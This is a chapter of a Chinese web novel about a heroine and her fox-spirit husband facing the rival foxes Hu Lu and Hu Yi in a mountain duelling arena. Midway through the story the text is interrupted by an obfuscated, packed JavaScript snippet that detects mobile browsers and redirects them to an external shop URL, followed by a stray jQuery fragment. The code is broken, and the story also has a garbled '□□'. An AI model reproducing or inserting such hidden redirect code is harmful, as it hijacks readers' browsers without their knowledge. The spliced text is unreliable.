他们边往前走,边有一句没一句地说着,气氛逐渐轻松许多,可就在尽头不远处,那些痕迹竟然又出现了。 而这次,所有痕迹相连,形成一个狐王高坐于皇位上的场景。 可令人奇怪的是,下方密密麻麻跪着的,没有尾巴和耳朵,都是人族。 还不等元和景出声询问,祝长生已厉声喝道:“闪开!” 元和景下意识往旁边躲去,与此同时,祝长生果断拔剑向那些痕迹刺去,而画面之中的狐王面容陡然扭曲,一阵黑雾有如实质般升起。 55. 深埋前尘 下一瞬,黑雾成破空之势朝元和景逼来,还好她早有防备,拔出双剑交叉于胸口,旋身向前挥去,蓬勃的剑意迸发,将黑雾尽数斩散。 只是很快,那黑雾又在稍远些的地方重新聚集,而这次,一个清晰人形在其中缓缓形成。 玄衣加身,华美的流光莹莹闪烁,粉妆玉面惊为天人,只是那张美丽的脸上丝毫没有表情,眉眼间透着近乎无情的冷漠。 见到来人,祝长生道:“胡依,你为何会在此?” 胡依冷笑一声,轻蔑地道:“狐王寿辰万狐同贺,我为何不能来?” “都已经走到这里,就不必再装傻了吧。”祝长生并未收剑,不怒自威,“让幽山规则失效,引得族人自相残杀,你的目的究竟是什么?” “这与你无关,若想活命,就尽快离开。” 说着,胡依手腕翻转,一柄泛着寒光的长剑自掌心乍现,而那双冰冷的眼睛里,杀意渐生。 元和景见势不对,忙道:“费那么大功夫把我们送上来,现在又让我们走,就算只是利用,你未免也太不把人放在眼里了吧?” 她说得气势汹汹,胡依却只是淡漠地笑了笑,终于向元和景丢去个眼神,道:原来是弟媳,可惜了,现在不是认亲的时候,我长话短说,让你们上幽山的不是我。” 即便不是胡依,但她也定然对此人有所知晓,元和景正要追问,却忽觉背后异样,连忙闪身躲开,银光划破黄风,最后稳稳插入沙地之中。 见此异状,元和景与祝长生皆是满脸戒备,胡依却悠然一笑,道:“你们要的真相,他来了。” 元和景在手中暗自蓄力,对方却迟迟没有现身,周身唯有风声阵阵,飞沙走石。须臾后,祝长生道:“没事,他们都走了。” “他们?” 正问着,她才猛然惊觉,胡依也已经不在原地了。 荒凉萧索的大漠之中,只有两人相对无言,现在唯一能清楚的是,胡依为夺得秘术设计了幽山之变,而原本与此毫无关系的他们,却被另一个人设计送上了幽山。 但无论如何,这都只是胡依的一面之词,静默片刻,元和景问:“现在怎么办?” 祝长生收剑入鞘,道:“继续走吧,等上了山顶,一切就都清楚了。” 他信步向前,走出几步后才发现,元和景没有跟上来。 她站在原地,对视上时表情有一瞬间的无措,挠了挠头道:“那个……你还好吗?” 祝长生脚步一顿,顿时哑然。 元和景见他不说话,又道:“虽然你说狐族并不怎么重视亲情,胡依和狐王也不过名义上的亲人,但现在的一切已经远超预期,我怕你心里有想法但不愿说,所以就问问。” 风风火火的性格让她并不擅长安慰人,干巴巴地说完这些就再也挤不出一个字。祝长生定定地看着她,像是要隔着风沙,将她的一颦一笑都印在眼底。 “算了算了,你当我没说。”元和景觉得有些别扭,于是决定将这话题就此揭过,但就在她经过祝长生身边的时候,却被一把拽住了手腕。 男人的怀抱坚实而暖,熟悉的草木香钻进鼻腔,让人不自觉安定了下来。 “实话说,我其实还好。”祝长生低声说着,语气含笑,“他们于我而言本就是无关所以的,要说我在这世上真正意义的亲人,其实早就只有你一个了。” 即便是他担着祝长生的身份,但骨子里从来都是胡拾,就连祝母也不知道这件事,还以为他是原来的祝长生。 所以能知道胡拾就是祝长生,也能分清胡拾不是祝长生的,唯有元和景一人。 阴差阳错的婚约将他们捆在一起,却造就了之后无数次的并肩而行和同床而眠。 像是想到了什么,祝长生的目光骤然变得深邃,他垂首在少女额头印下一个吻,道:“待此间事了,我们再办一次婚礼,我重新娶你可好?” 元和景有些不明所以,抬头看他,问:“为什么?” “当初我因掏心案未能到场,害得你独自拜堂,所以我合该补给你一次真真正正的,我们的婚礼。” 想当初那场白天唱独角戏,晚上还要被“鬼”吓的婚礼,元和景不可谓不感慨,本以为能安心守寡,可夫君却死而复生,之前她还抱有过只做一对表面夫妻的念头,现在看来却是再无可能。 既然天不作美,偏要她此生圆满,那元和景也不推脱,只愿这良缘可度岁岁年年。 “好啊,那我们就说好了。” 天地交接处,黄沙在这里隐没,一层看不见的屏障隔开外界,只需迈过去,便是沙漠和山林之别。 没有多少犹豫,两人并肩走出,风中掺杂着水汽、花香,还有独属于山林的清新气息,回首望去,绿意盎然,巨树庇荫。 久违的湿润迅速裹挟周身,元和景忍不住大口呼吸起来,沙漠里烟尘不断,她甚至疑心自己鼻腔里现在全是沙子。 而回过身时,她才发现自己正站在一处悬崖边,俯身望去,爬满藤蔓的石阶依次递下,云雾缭绕的中央,一片宽阔而寸草不生的平地赫然入眼。 此情此景,很难不让人想到某些异族传说,传闻北羌人生性嗜血,以观看人与猛兽厮杀搏斗为乐,相应的活动由此而生,举办地正是这种中央空旷,四周可供人坐下观看的制式。 万狐决斗场,将所有登顶的狐族关在一处,任凭他们自相残杀,直到决出最终胜者……如此,这和故事中的杀人游戏似乎并无差别。 狐王因庇佑狐族不受侵害而备受爱戴,可是如果他当真如此宽容仁慈,又为何会在寿辰上举办这样的活动? 有些可怕的念头在脑海中生成,元和景当机立断决定离开,可下一瞬,脚下地面陡然崩塌,他们不受控制地向下坠去。 烟尘滚滚,碎石横飞,一片前路未知的失重感中,元和景只来得及抓住祝长生的手。 但很快,手中陡然一松,温度由暖变凉,元和景努力睁开眼向身旁看去,却发觉空无一人。 巨石落地顿时四分五裂,来不及思考,元和景立马调整姿势,以后背朝下的姿势落了地。 挨过沉闷的痛楚后,她强撑着身子站起来,尘雾未散,眼前什么也看不见,她只能扯着嗓子大喊:“祝长生,你在哪……” 回音激荡于山谷,却迟迟无人应答。 满目迷茫中不知是什么突然落地,霎时间劲风突起,元和景躲闪不及被掀翻在地,再睁眼时,云雾四散,宽而空旷的决斗场里,祝长生和一个高如重楼的巨大狐狸正对峙着。 那狐狸双眼无神,浑身杀气四溢,仅凭祝长生一人绝对无法对付。元和景连忙高声唤他,男人却像是没听见似的毫无反应。 “快跑啊祝长生!” 见对方还是没动,元和景只好踩着层层石阶向中央跑去,可就在一步之遥外,她无法再前进半分,像是有一层无形的屏障,将决斗场和周围尽数隔开来。 元和景气得用剑砍,用脚踢,还是无法攻破屏障,只能眼睁睁看着那个巨大的狐狸嘶吼着朝祝长生冲去。 祝长生也知自己并非这个怪物的对手,于是便在它快接近时灵活避开,可那狐狸虽然身体庞大,却并不笨重,很快就调转身位,继续向男人发动攻势。 祝长生并未坐以待毙,躲闪的同时迅速出剑,直逼那狐狸面门,可长剑却在堪堪靠近时便被弹开,丝毫没有伤到那狐狸半分。 如此,他除了躲之外再没有任何办法,这么下去迟早是死路一条。眼见祝长生逐渐体力不□□狐狸的劲头却丝毫不减,元和景知道自己不能坐以待毙,于是努力压下心头的焦躁,观察四周是否有破解屏障的办法。 这一看,倒真让她看到对面的石阶上,正有个黑衣人孑然一身,临风而立。 距离太远,元和景看不清对方的神色,但光凭他安然负手置身事外的样子,也能知晓此人与眼下情境必定脱不开关系。 元和景当机立断,立马半绕过决斗场朝对面跑去。 看着近在眼前,可真踏上时才知道距离比想象中远得多,元和景一边留意着祝长生那边的情况,一边咬着牙继续向黑衣人的方向跑。 凭着体型优势,祝长生可以及时避开,但也正因为体型相差悬殊,那狐狸很快便能追上,再加上场内空旷毫无遮挡,于祝长生而言完全没有优势。 不知过了多久,元和景终于离那黑衣人只有几步之遥,她努力平复了一下呼吸,厉声道:“你是谁?” 对方闻言转身,墨发玉冠下,是元和景熟悉万分的脸。 纳兰卿……更准确来说,是胡陆。 自从胡陆以藏身为由霸占了纳兰卿的身体后,便再也没有出来的意思,当时在大理寺他不告而别,如今再见却是在如此光景下。 “竟然是你!” “好久不见,小娘子。” 对上视线时,胡陆朝她微微一笑,语气稔熟地打着招呼,仿佛他们此时不在万狐决斗场,而是在京城的某个寻常街口。 元和景并不打算和他兜圈,开门见山道:“这一切都是你做的吗?” 胡陆略一挑眉,似乎诧异于她的直接,却并未出言否认。 元和景见状更加气急,又问:“你为什么要这么做?祝长生于你并无恩怨,再这样下去他会丧命的!” “呵,我与他的恩怨,你不是早就知道?” 胡陆嗤笑一声,指尖微动,那狐狸发狂似的吼叫起来,又大步朝着祝长生逼近。 人命关天,容不得元和景有更多思考,她急得带上了哭腔,道:“有话我们可以好好说,也不必非要闹得你死我活……” “我就是要杀了他!”话未毕就被打断,胡陆怒声斥道,“凭什么我好心救他,却落得个差点丧命的下场,最后连家都回不去,而他却能得祝长生所救,安然无恙地存活至今,凭什么?” 不过是一次寻常的外出玩耍,却令他们两兄弟的人生全部被更改。当年胡陆为救胡拾,寻求救援的途中被猎户抓住,关进笼子里受尽了折磨。而胡拾被祝长生发现,不仅保住性命,还借此有了之后的一系列机遇。 虽然最大的罪人该是那位猎户,可在胡陆心中,他何尝不恨胡拾? 回忆被尽数唤起,元和景喉头一哽,再也说不出任何话来。 理智告诉她胡拾本没有错,可从胡陆的角度来说,这一切本就因胡拾而起。 深吸一口气后,她沉重地道:“我能理解你的心情,但他毕竟是我夫君,我不可能眼睁睁看着他被打死,所以……对不住了。” 说罢,她便提剑朝胡陆刺去。 可她哪里是胡陆的对手?刀光剑影不断,她却无法靠近半分,更别说打败他。如果说非要硬碰硬,说不定会惹怒胡陆,届时元和景自身也难保。 电光火石间,元和景竟发现胡陆的剑有些眼熟,正是在近道中,引得胡依离开的那把。 如果说胡依是为得到诡术录,胡陆是为向胡拾报仇而来到幽山,那他们势必会达成什么合作,至于交换的筹码,极有可能是胡陆将诡术录给胡依,胡依则承诺不会插手这一切。 他们若是强强联合,元和景与祝长生说什么也不是对手,可要是能把一方拉拢过来,局势就未尝不能扭转。 胡陆大仇未报,必然不会就这么把诡术录给胡依,如此来看,诡术录极有可能还在他身上。 这么想着,元和景不再抱着打败他的目的,而是要找出诡术录的所在,并想办法夺来。 转变太过明显,胡陆自然察觉,于是也不再主动出手,而是以守为攻,似乎有意不让元和景看出破绽。 你来我往不断,元和景尚可应对,祝长生那边却容不得拖延,若是在这么纠缠下去,他会被那狐狸捉住撕碎。 元和景分神去看过一眼,只见祝长生的身上已经多出好几道血痕,巨大的爪痕布满了整个背部,光是看着便让人心惊不已。 她咬咬牙,总算下定决心,迎着胡陆刺来的剑撞去。 剑锋划破皮肉的声音清晰可闻,剧烈的痛楚自肩胛迸发,可她顾不上喊痛,左手执剑用力一挥,剑锋划破胡陆的袖口,有什么东西自其中落下。 她迅速转势一挑,哗啦啦的书页翻飞,最终落于元和景手中。 胡陆俨然没能预想到这个走向,夺书的反应慢了半拍,元和景将那本古老泛黄的册子一把抓住,然后迅速后撤,不给胡陆一点还手的机会。 “你……” 伤口血流如注,元和景却置若罔闻,抬手抹了把汗,气喘吁吁地道:“如何?此招名‘杀敌一千自损八百’,我一位师父教的。” 不管胡陆还有话要说,她高举起书册,用尽全力大喊—— “胡依你再不来我就把诡术录吃了!!!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152545|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中气十足的回音激荡在山壁之间,远山处飞鸟振翅,而就在近前,黑雾突现,最终凝成一个女子的身影。 “废物。”她冷声道。 胡陆强掩下慌乱,道:“你我之间的承诺我自会兑现,眼下她不过暂时得到诡术录,待我将其夺回,一切便能照常进行。” 血液的流失让元和景脸色越发苍白,她已经疼得快要直不起身子,只能借剑身勉强支撑。可事情至此还未完成,她强撑着气势,鱼死网破般道:“诡术录现在在我手里,我可以立马毁了它,但你要是杀了胡陆,我就把它完好无损地给你。” 胡依还是那副淡漠如雪的样子,仿佛其余人的生死于她而言都无关紧要,只轻飘飘地道:“我为什么要帮你杀他?” 元和景当然明白,胡依完全没有理由出手,她大可隔岸观火,反正无论如何,诡术录都会是她的。 智取不成,便只有靠蛮力解决,元和景再次将诡术录举高,道:“我要救我夫君,如果你不帮忙,我就拿这本千金难买的诡术录,给我们夫妻俩陪葬!” 此话一出,气氛陡然陷入凝滞,元和景带着视死如归的决心看着两人,胡陆被惊得说不出话来,但胡依不知为何,也突然沉默不语起来。 时间过去了很久,祝长生终是体力不支,被那狐狸一掌拍飞在地,追捕游戏变成了近身肉搏,但即便如此,他也毫无胜算,勉强的抵挡下,那身素衣再不见原本的样子,血色红得刺眼,灼得元和景眼睛生疼。 就在她心灰意冷地想要就此撕毁诡术录时,胡依却发出很轻的一声笑,轻到元和景以为那不过只是幻觉。 “那你可要把诡术录给我收好了,要是有什么地方看不清,我就卸了胡拾的胳膊。” 她柔声说着狠毒的话,然后在元和景呆滞的目光下化出原型——一只通身火红的九尾灵狐。 胡陆见势不对,也化成雪白狐狸的模样,迅速闪身躲过了胡依的一击。元和景连忙退得远远的,生怕被波及,她单手将诡术录牢牢抱在怀里,失血过多的左臂已经了无知觉。 祝长生那边说是单方面的受虐也不足为过,但不知是胡陆无暇顾及的原因,那狐狸的攻势放慢了许多,祝长生因此得以喘息。 两只狐狸行动迅捷,缠斗时激起阵阵狂风,一开始还算有来有回,但很快,胡陆颓势渐显,反观胡依却还游刃有余。随着红色巨尾如鞭子般甩出,那道白色身影被击飞出数里,最后深深砸进山壁之中。 碎石如急雨般哗啦啦落下,霎时间大地颤动,群山嗡鸣不止。而决斗场之中,那只巨大的狐狸如烟云般缓缓消散,原地很快被沙石淹没。 整片决斗场沦为废墟,而其中的祝长生也不知所踪。 元和景止不住心头发紧,祝长生伤势已经很重,如果没能及时出来的话,现在只怕是凶多吉少了。 她哽咽着呼喊祝长生的名字,可除了回音震荡外,她再也没收到任何应答。 恢复人形的胡依不知何时出现在面前,淡声道:“放心,他死不了。” 元和景将诡术录朝胡依的方向丢过去,然后就不管不顾地冲进了那片废墟。 “祝长生……” “胡拾!” “祝长生——” 没有,还是没有…… 她找不到方向,便只能就地开挖,心想着万一祝长生就被埋在这里,她早些找到,他就能多一分生机。 啪嗒啪嗒的泪水滴落在石堆中,像一场早到的秋雨,密而急,寂寥而悲切。 即便是当初学武功,她也未曾干过这等粗活,很快手指就被磨破了,渗出的血迹混着沙土,可是她不敢停下。 当初老念着守寡也行,可她现在一点也不想守寡,她要圆满,她想要和祝长生共度此生。 “别死啊……你说了回去之后要重新娶我的……” 锁骨猛然传来被咯到的感觉,元和景伸手一摸,这才想起是祝长生当初送她的哨子。 “遇到危险了记得吹哨,我会立马来到你身边的。” 想到这里,元和景手忙脚乱地将哨子掏出,然后吹响。 不同于普通的哨子,这只哨子的声音很细,清脆而悦耳,更像是狐狸的叫声。 哨音一遍遍回荡,从响亮到嘶哑,像是某种虚无缥缈的希望在一点点破灭。 没有,还是什么都没有…… 元和景无力地瘫倒在地,近乎绝望地将哨子最后一次吹响。 吹得太久,声音已聊近于无,可元和景管不得这么多,她任凭自己跌在沙石之中,只觉得自己再也没有站起来的力气了。 “祝长生,你别死啊,我不想守寡,我不想当寡妇……” 她喃喃自语着,眼泪一滴滴从脸颊滑到鼻尖,最后颓然落地。 恍惚中有狐狸的叫声响起,很闷,也很微弱,元和景还以为自己听错了。 可哨子分明被她丢在了地上,怎么还会有声音? 她如梦初醒般惊觉,捞起丢在一旁的剑就开始挖,刨开泥沙,搬走碎石,终于有一抹格格不入的红自其中显现。 肩胛的伤口还在作痛,干涸的伤口似乎又有流血的迹象,可她只是挖,直到终于将那具狐狸身体全部挖了出来。 元和景颤着手去探他的鼻息,下意识连自己的呼吸都忘了,但还好,似有若无的气流擦过指尖,带起隐约的痒意,也让她心里终于再度燃起希望。 “没死,没死就好……没死就好!” 她忍不住将那小小的狐狸身体抱进怀里,放肆地嚎啕大哭起来。 山体崩裂的声音遥遥传来,此处似乎要塌了,而就在更近的地方,一个女声冷不丁响起—— “再不给他治伤,他就真要死了。” 元和景泪眼朦胧地扭头去看,哽咽道:“十一……” “嗯,走吧。” 说着,谭歆柔走上前,将一枚黑色的药丸喂入狐狸的口中,元和景用沾满灰的袖子胡乱擦着眼泪,问:“这是什么?” “救命的。”十一声音淡淡,动作利落地将元和景扶起,“这里快要塌了,我们先走。” 元和景将怀里的狐狸抱得更紧,用力地点了点头。 借由轻功,两道身影飞快地自半空掠过,耳边风声肆虐,元和景迅速扭头看了一眼,只见群山崩裂,存续多年的决斗场被无数沙石淹没,黄沙蔽日,烟雾久久不散。